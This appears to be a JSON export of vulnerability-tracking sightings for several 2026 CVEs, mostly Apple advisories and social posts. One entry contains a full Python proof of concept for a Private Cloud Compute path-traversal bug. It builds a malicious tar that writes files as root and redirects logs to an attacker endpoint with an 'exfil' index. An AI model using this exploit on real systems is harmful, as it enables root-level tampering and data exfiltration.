{"vulnerability": "cve-2026-2068", "sightings": [{"uuid": "1cc17f6d-7c29-43ee-942e-b33fe99df813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2068", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me7wmpdgbd2a", "content": "", "creation_timestamp": "2026-02-06T22:16:51.822664Z"}, {"uuid": "b1e66a46-57d2-437e-9806-57bc3066d16d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20684", "type": "seen", "source": "https://support.apple.com/en-us/126794", "content": "", "creation_timestamp": "2026-03-26T03:00:11.000000Z"}, {"uuid": "4ef1889d-e986-45a0-9b8d-c38986834fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "05ab256b-8604-4ac4-a1a1-2443abe69488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://support.apple.com/en-us/126795", "content": "", "creation_timestamp": "2026-03-26T03:00:12.000000Z"}, {"uuid": "4dba3a11-d1b2-4130-8337-12d19f14d973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20687", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116287578482492253", "content": "", "creation_timestamp": "2026-03-25T03:00:31.337305Z"}, {"uuid": "5dbf047d-ed92-4a62-93c2-d655f302666e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20687", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhu3wdpabu2r", "content": "", "creation_timestamp": "2026-03-25T03:00:33.734797Z"}, {"uuid": "8a244a51-aa66-4813-8719-f5030e0976b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://support.apple.com/en-us/126796", "content": "", "creation_timestamp": "2026-03-26T03:00:13.000000Z"}, {"uuid": "d13566e3-fbaa-4031-95c9-45b3cdcdf961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "4640aeb9-fffc-49ad-82e3-88bea9a84c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apple-products-multiple-vulnerabilities_20260325", "content": "", "creation_timestamp": "2026-03-25T03:00:00.000000Z"}, {"uuid": "aa76090d-ae3d-4293-8d5b-6f53d0ed95ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20688", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-013/", "content": "", "creation_timestamp": "2026-03-29T17:00:00.000000Z"}, {"uuid": "19eef442-5d67-4deb-8c69-db2ee1bed769", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77047", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a AppleSEPKeyStore-UAF-Panic\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 22  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 2\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-24 18:59:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20687: AppleSEPKeyStore Use-After-Free \u2014 iOS/macOS kernel vulnerability (patched in 26.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-24T19:00:04.000000Z"}, {"uuid": "5c5993b2-6c94-435f-9cfd-d03d12dd5b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "Telegram/vKt1e4azT5T7C0rLcqmSzR1-eYk4psQyeIQOy05R--Qw2SA", "content": "", "creation_timestamp": "2026-04-22T21:00:04.000000Z"}, {"uuid": "0fc37517-04db-4952-b893-aadb8324307c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mm5dbepiyd2h", "content": "CVE-2026-20685 - VMware PCC Path Traversal Information Disclosure\nCVE ID : CVE-2026-20685\n \n Published : May 18, 2026, 3:19 p.m. | 53\u00a0minutes ago\n \n Description : An attacker in a privileged network position may be able to leak sensitive information. A path handling issue was ...", "creation_timestamp": "2026-05-18T16:46:51.383789Z"}, {"uuid": "6010dc9a-b00f-472c-9551-a9ac0f30b022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20685", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mszzqyv3nu2f", "content": "Original text: \"Beyond Prompt Injection: Hacking Apple's Private Cloud Compute\" \u2014 Sentry (research by Drinor Selmanaj), Sentry Security Blog, 31 July 2026. Code, tables and figures below are reproduced verbatim w\nhttps://core-jmp.org/2026/08/apple-private-cloud-compute-cve-2026-20685-path-traversal/", "creation_timestamp": "2026-08-14T11:14:53.159287Z"}, {"uuid": "e47fa7c6-5c48-44ae-aefb-12350afc9d51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "Telegram/D4W16OC9HE0yNzEjroADs3fCEIh4w_lQ7jHL3IEL801HfzI", "content": "", "creation_timestamp": "2026-08-12T08:00:06.232988Z"}, {"uuid": "3c3511d7-d1aa-4726-a981-f3eac044003b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-21T23:00:06.665266Z"}, {"uuid": "9677a8dd-8a13-4eec-b968-61f90003c191", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://gist.github.com/HORKimhab/e7ac4ee161e8a39080c5fe6a49a833dd", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-20685 PoC - Path Traversal in Apple Private Cloud Compute\nFor local testing ONLY in Apple Virtual Research Environment\n\nWARNING: This is for authorized security research only.\nUse only in Apple's VRE as described in the blog.\n\"\"\"\n\nimport os\nimport tarfile\nimport plistlib\nimport tempfile\nimport shutil\nfrom pathlib import Path\n\nclass PCCExploitBuilder:\n    def __init__(self, output_dir=\".\"):\n        self.output_dir = Path(output_dir)\n        self.output_dir.mkdir(exist_ok=True)\n        \n    def create_proof_file_content(self):\n        \"\"\"Create the proof file content that will be written via traversal\"\"\"\n        return \"\"\"PATH_TRAVERSAL_CONFIRMED: Written by darwin-init FilePath+Archive.swift:95\nExtraction base: /var/tmp/darwin-init/cryptex//\nTarget: /var/db/poc_darwin_init_traversal_proof\nTimestamp: VRE_TEST_ONLY\n\"\"\"\n    \n    def create_splunk_config(self, attacker_server=\"http://192.168.64.1:8088\"):\n        \"\"\"Create a malicious splunkloggingd config to redirect logs\"\"\"\n        config = {\n            \"Server\": attacker_server,\n            \"Index\": \"exfil\",\n            \"Predicates\": [\n                \"subsystem == \\\"com.apple.cloudos.cloudboard\\\"\",\n                \"subsystem == \\\"com.apple.cloudos\\\"\",\n                \"subsystem == \\\"com.apple.darwininit\\\"\"\n            ],\n            \"Level\": \"Debug\"\n        }\n        return config\n    \n    def create_traversal_entries(self, tar, temp_dir):\n        \"\"\"\n        Create traversal entries that will escape to /var/db/\n        \n        The extraction base is /var/tmp/darwin-init/cryptex//\n        4 levels of traversal (../../../../db/) reaches /var/db/\n        \"\"\"\n        \n        # Proof file - writes to /var/db/poc_darwin_init_traversal_proof\n        proof_path = Path(temp_dir) / \"proof.txt\"\n        proof_path.write_text(self.create_proof_file_content())\n        \n        # Add with traversal prefix\n        tar.add(\n            str(proof_path), \n            arcname=\"../../../../db/poc_darwin_init_traversal_proof\"\n        )\n        \n        # Splunk config - writes to /var/db/prcos/splunkloggingd/config-main.plist\n        config_path = Path(temp_dir) / \"config-main.plist\"\n        with open(config_path, 'wb') as f:\n            plistlib.dump(self.create_splunk_config(), f)\n        \n        tar.add(\n            str(config_path),\n            arcname=\"../../../../db/prcos/splunkloggingd/config-main.plist\"\n        )\n    \n    def create_valid_cryptex_structure(self, tar, temp_dir):\n        \"\"\"\n        Create a minimal valid cryptex structure to pass verification\n        \n        This mimics the genuine cryptex bundle structure that would be\n        created by Apple's pccvre cryptex create command\n        \"\"\"\n        \n        cryptex_dir = Path(temp_dir) / \"Restore\" / \"Cryptex\" / \"POC_DEMO\"\n        cryptex_dir.mkdir(parents=True, exist_ok=True)\n        \n        # Create minimal files that would exist in a real cryptex\n        # These are placeholders - in reality, these would be actual cryptex files\n        files = {\n            \"gdmg\": b\"\\x00\" * 14336,  # 14KB placeholder\n            \"ginf\": b\"version: 1.0\\n\",\n            \"gtcd\": b\"46\",  # example ID\n            \"gtgv\": b\"build: 2026.07.31\\n\"\n        }\n        \n        for filename, content in files.items():\n            filepath = cryptex_dir / filename\n            filepath.write_bytes(content)\n            tar.add(str(filepath), arcname=f\"Restore/Cryptex/POC_DEMO/{filename}\")\n        \n        # Create minimal BuildManifest.plist\n        manifest = {\n            \"BuildVersion\": \"1.0\",\n            \"CryptexComponents\": {\n                \"POC_DEMO\": {\n                    \"Version\": \"1.0.0\",\n                    \"Hash\": b\"\\x00\" * 32  # SHA256 placeholder\n                }\n            }\n        }\n        \n        manifest_path = Path(temp_dir) / \"BuildManifest.plist\"\n        with open(manifest_path, 'wb') as f:\n            plistlib.dump(manifest, f)\n        \n        tar.add(str(manifest_path), arcname=\"Restore/BuildManifest.plist\")\n    \n    def build_malicious_cryptex(self, output_filename=\"malicious_cryptex.tar\"):\n        \"\"\"Build the complete malicious tar archive\"\"\"\n        \n        output_path = self.output_dir / output_filename\n        print(f\"[*] Building malicious cryptex: {output_path}\")\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Add traversal entries\n                self.create_traversal_entries(tar, temp_dir)\n                \n                # Add valid cryptex structure\n                self.create_valid_cryptex_structure(tar, temp_dir)\n                \n                # Display contents for verification\n                print(\"\\n[*] Archive contents:\")\n                for member in tar.getmembers():\n                    indicator = \"TRAVERSAL\" if member.name.startswith(\"../\") else \"BUNDLE\"\n                    print(f\"  {member.name:60} {indicator}\")\n        \n        print(f\"\\n[+] Successfully created: {output_path}\")\n        return output_path\n    \n    def create_control_tar(self, output_filename=\"control_cryptex.tar\"):\n        \"\"\"Create a clean control tar with no traversal for comparison\"\"\"\n        output_path = self.output_dir / output_filename\n        \n        with tempfile.TemporaryDirectory() as temp_dir:\n            with tarfile.open(output_path, 'w') as tar:\n                # Only add valid cryptex structure, no traversal\n                self.create_valid_cryptex_structure(tar, temp_dir)\n        \n        print(f\"[+] Control tar created: {output_path}\")\n        return output_path\n\nclass VREHelper:\n    \"\"\"Helper functions for interacting with the VRE\"\"\"\n    \n    @staticmethod\n    def start_vre_node(debug=True):\n        \"\"\"Start a VRE instance with debugging\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"/System/Library/SecurityResearch/usr/bin/pccvre\",\n            \"instance\", \"start\",\n            \"--debug\" if debug else \"\",\n            \"-N\", \"poc_demo\"\n        ]\n        cmd = [c for c in cmd if c]  # Remove empty strings\n        \n        print(\"[*] Starting VRE node...\")\n        # In practice, you'd capture the output to get the HTTP server details\n        # This is a simplified example\n        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        return process\n    \n    @staticmethod\n    def verify_exploit(ip=\"192.168.64.50\"):\n        \"\"\"Verify the exploit worked by reading the proof file\"\"\"\n        import subprocess\n        \n        cmd = [\n            \"ssh\", f\"root@{ip}\",\n            \"echo\", '\"$(< /var/db/poc_darwin_init_traversal_proof)\"'\n        ]\n        \n        result = subprocess.run(cmd, capture_output=True, text=True)\n        if \"PATH_TRAVERSAL_CONFIRMED\" in result.stdout:\n            print(\"[+] EXPLOIT CONFIRMED! Proof file exists.\")\n            print(result.stdout)\n            return True\n        else:\n            print(\"[-] Exploit not verified.\")\n            return False\n\ndef main():\n    \"\"\"Main PoC execution\"\"\"\n    print(\"=\" * 60)\n    print(\"CVE-2026-20685 PoC - Path Traversal in Apple PCC\")\n    print(\"For VRE Testing Only\")\n    print(\"=\" * 60)\n    \n    # Build the exploit\n    builder = PCCExploitBuilder()\n    malicious_tar = builder.build_malicious_cryptex()\n    control_tar = builder.create_control_tar()\n    \n    # Verify the archive structure\n    print(\"\\n[*] Verifying archive structure...\")\n    with tarfile.open(malicious_tar, 'r') as tar:\n        has_traversal = any(m.name.startswith(\"../\") for m in tar.getmembers())\n        has_valid_cryptex = any(\"Restore/Cryptex\" in m.name for m in tar.getmembers())\n        \n        print(f\"  Contains traversal entries: {has_traversal}\")\n        print(f\"  Contains valid cryptex: {has_valid_cryptex}\")\n    \n    print(\"\\n\" + \"=\" * 60)\n    print(\"PoC BUILD COMPLETE\")\n    print(\"=\" * 60)\n    print(\"\\nNext steps in VRE:\")\n    print(\"1. Start VRE instance: pccvre instance start --debug -N poc_demo\")\n    print(\"2. Register the malicious tar as a third cryptex\")\n    print(\"3. Boot the node and verify /var/db/poc_darwin_init_traversal_proof exists\")\n    print(\"4. Check splunkloggingd redirection to your endpoint\")\n    print(\"\\nNote: The splunk config will redirect to http://192.168.64.1:8088\")\n    print(\"      Modify this in PCCExploitBuilder.create_splunk_config() if needed\")\n\nif __name__ == \"__main__\":\n    # Safety check - prevent accidental execution outside VRE\n    if not os.path.exists(\"/System/Library/SecurityResearch/usr/bin/pccvre\"):\n        print(\"WARNING: Not running in Apple Virtual Research Environment!\")\n        print(\"This PoC should ONLY be used in the authorized VRE.\")\n        response = input(\"Continue anyway? (y/N): \")\n        if response.lower() != 'y':\n            print(\"Exiting.\")\n            exit(0)\n    \n    main()\n\n### ---- ###\n#!/usr/bin/env python3\n\"\"\"\nEducational Zip-Slip / path-traversal demo.\nCreates a malicious tar and extracts it with na\u00efve concatenation\n(exactly the pattern that was present in the vulnerable darwin-init code).\nRun only in a throw-away directory.\n\"\"\"\n\nimport tarfile\nimport os\nimport tempfile\nfrom pathlib import Path\n\ndef make_malicious_tar(tar_path: Path):\n    with tarfile.open(tar_path, \"w\") as tar:\n        # Benign file that stays inside the extraction dir\n        info = tarfile.TarInfo(name=\"safe.txt\")\n        data = b\"I stay inside the extraction directory\\n\"\n        info.size = len(data)\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\n        # Classic traversal \u2013 four \u201c..\u201d to escape a typical /tmp/.../extract base\n        evil_name = \"../../../../tmp/poc_path_traversal_written_by_root\"\n        info = tarfile.TarInfo(name=evil_name)\n        data = b\"PATH_TRAVERSAL_CONFIRMED \u2013 written outside the intended directory\\n\"\n        info.size = len(data)\n        # Optional: set mode/uid if you want to mimic root extraction\n        info.mode = 0o644\n        tar.addfile(info, fileobj=__import__(\"io\").BytesIO(data))\n\ndef vulnerable_extract(tar_path: Path, dest: Path):\n    \"\"\"Na\u00efve extractor that does what the old darwin-init code effectively did.\"\"\"\n    dest.mkdir(parents=True, exist_ok=True)\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            # NO sanitization \u2013 this is the bug\n            target = dest / member.name\n            if member.isfile():\n                target.parent.mkdir(parents=True, exist_ok=True)\n                with open(target, \"wb\") as f:\n                    f.write(tar.extractfile(member).read())\n                print(f\"[written] {target}\")\n\ndef safe_extract(tar_path: Path, dest: Path):\n    \"\"\"Correct way: reject any member that escapes the destination.\"\"\"\n    dest = dest.resolve()\n    with tarfile.open(tar_path, \"r\") as tar:\n        for member in tar.getmembers():\n            target = (dest / member.name).resolve()\n            if not str(target).startswith(str(dest)):\n                raise Exception(f\"Path traversal blocked: {member.name}\")\n            # \u2026 then extract only the safe members\n\nif __name__ == \"__main__\":\n    work = Path(tempfile.mkdtemp(prefix=\"zipslip-demo-\"))\n    tar_file = work / \"malicious.tar\"\n    extract_dir = work / \"extract_here\"\n\n    print(f\"Working directory: {work}\")\n    make_malicious_tar(tar_file)\n    print(\"Created malicious tar.\")\n\n    print(\"\\n--- Vulnerable extraction ---\")\n    vulnerable_extract(tar_file, extract_dir)\n\n    print(\"\\n--- Safe extraction (should raise) ---\")\n    try:\n        safe_extract(tar_file, extract_dir)\n    except Exception as e:\n        print(\"Blocked:\", e)\n\n    print(\"\\nCheck /tmp for the file written by the traversal entry.\")\n", "creation_timestamp": "2026-08-10T06:52:29.828008Z"}, {"uuid": "824a1dd7-a145-425d-9fc0-bddbdec9de0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/D4W16OC9HE0yNzEjroADs3fCEIh4w_lQ7jHL3IEL801HfzI", "content": "", "creation_timestamp": "2026-08-13T00:00:11.141802Z"}, {"uuid": "0699b18a-33fc-4d87-8ad2-0ae00826ca55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/7mh8zFRhm4oS-bLFzm82YdNZ3UVlQ--Ue-6K9sBFh0ZzF5o", "content": "", "creation_timestamp": "2026-08-10T09:00:04.340144Z"}, {"uuid": "685c9c5b-4d1e-46f3-897e-a4ceada052ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mspsybgwuq2q", "content": "Apple\u3001\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30af\u30e9\u30a6\u30c9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c8\u306b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u6b20\u9665\u3001\u653b\u6483\u8005\u304croot\u3068\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u3092\u66f8\u304d\u8fbc\u307f\u53ef\u80fd\u306b\n\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306eDrinor Selmanaj\u6c0f\u306f\u3001Apple\u306e\u300cPrivate Cloud Compute(PCC)\u300d\u306b\u5b58\u5728\u3059\u308b\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027(CVE-2026-20685)\u3092\u516c\u8868\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3068\u3001\u7279\u6a29\u3092\u6301\u3064\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u653b\u6483\u8005\u304c\u30ce\u30fc\u30c9\u306e\u30d6\u30fc\u30c8\u6642\u306b\u3001\u653b\u6483\u8005\u304c\u5236\u5fa1\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092root\u3068\u3057\u3066...", "creation_timestamp": "2026-08-10T09:47:03.179947Z"}, {"uuid": "41242306-a0aa-4ba7-80c4-a04e4043d309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-22T00:00:10.364288Z"}, {"uuid": "350a98ae-967d-460f-aec8-0b650282c735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "published-proof-of-concept", "source": "Telegram/7mh8zFRhm4oS-bLFzm82YdNZ3UVlQ--Ue-6K9sBFh0ZzF5o", "content": "", "creation_timestamp": "2026-08-11T00:00:08.610917Z"}, {"uuid": "2d9dcda6-b0b9-4e71-b505-a4111f295935", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "seen", "source": "https://t.me/poxek/6188", "content": "zeroxjf \u2014 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439, \u043d\u043e \u043f\u043b\u043e\u0442\u043d\u044b\u0439 \u0431\u043b\u043e\u0433 \u043f\u0440\u043e iOS security research: \u044f\u0434\u0440\u043e, SEP, IOKit, jailbreak/tweak-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u044e\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0438\u043d\u0434\u0435\u043a\u0441 \u0440\u0430\u0431\u043e\u0442: \u0440\u044f\u0434\u043e\u043c \u043b\u0435\u0436\u0430\u0442 PoC \u0434\u043b\u044f Apple kernel/SEP \u0431\u0430\u0433\u043e\u0432, \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043f\u043e Cyanide \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 Metal \u0432 vphone. \u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u044b \u0442\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 CVE, \u0430 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0440\u0435\u0441\u0435\u0440\u0447\u0430, race window, panic signature, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\u0422\u043e\u043f-5 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432:\n\n1. CVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 UAF \u0432 AppleKeyStore/AppleSEPKeyStore \u0447\u0435\u0440\u0435\u0437 \u0433\u043e\u043d\u043a\u0443 \u043c\u0435\u0436\u0434\u0443 IOConnectCallMethod \u0438 IOServiceClose; \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043d\u0430 iOS/macOS 26.1-26.2, \u043f\u0430\u0442\u0447 \u0437\u0430\u044f\u0432\u043b\u0435\u043d \u0432 iOS/iPadOS 26.3.\n2. SEP Exhaustion Kernel Panic \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SEP firmware panic \u0447\u0435\u0440\u0435\u0437 AppleKeyStore selector 2 \u0438 open type 0x2022; \u043e\u043a\u043e\u043b\u043e 41 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0439 crash signature \u0432 SKS.\n3. CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF \u2014 deferred kernel panic \u0432 AppleJPEGDriver: async decode \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 stale queue node, \u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 sync decode \u0447\u0435\u0440\u0435\u0437 Camera \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 UAF \u043d\u0430 \u043e\u0431\u0445\u043e\u0434\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438.\n4. Cyanide: Writing Tweaks \u2014 developer reference \u043f\u043e Cyanide tweaks: RemoteCall-\u0441\u0435\u0441\u0441\u0438\u0438, remote_objc API, \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 tweak, Settings-\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f \u0438 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 Theos/Substrate \u0431\u0435\u0437 SpringBoard dylib-\u0445\u0443\u043a\u043e\u0432.\n5. Patching Metal Graphics into vphone \u2014 clean-room shim \u0434\u043b\u044f Metal compiler plugin \u0432 vphone: \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 PCC dyld shared cache \u0438 \u0441\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0445 relocations, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 ~230 \u0441\u0442\u0440\u043e\u043a C++ \u0441 runtime symbol resolution.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0435\u0441\u044c \u0441\u0435\u0441\u0443\u0440\u0438\u0442\u0438 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u043c \u044f\u0434\u0440\u0430 iOS \u0438\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0430\u0433\u0438 \u0432\u043e\u043a\u0440\u0443\u0433 IOKit/SEP, zeroxjf \u0441\u0442\u043e\u0438\u0442 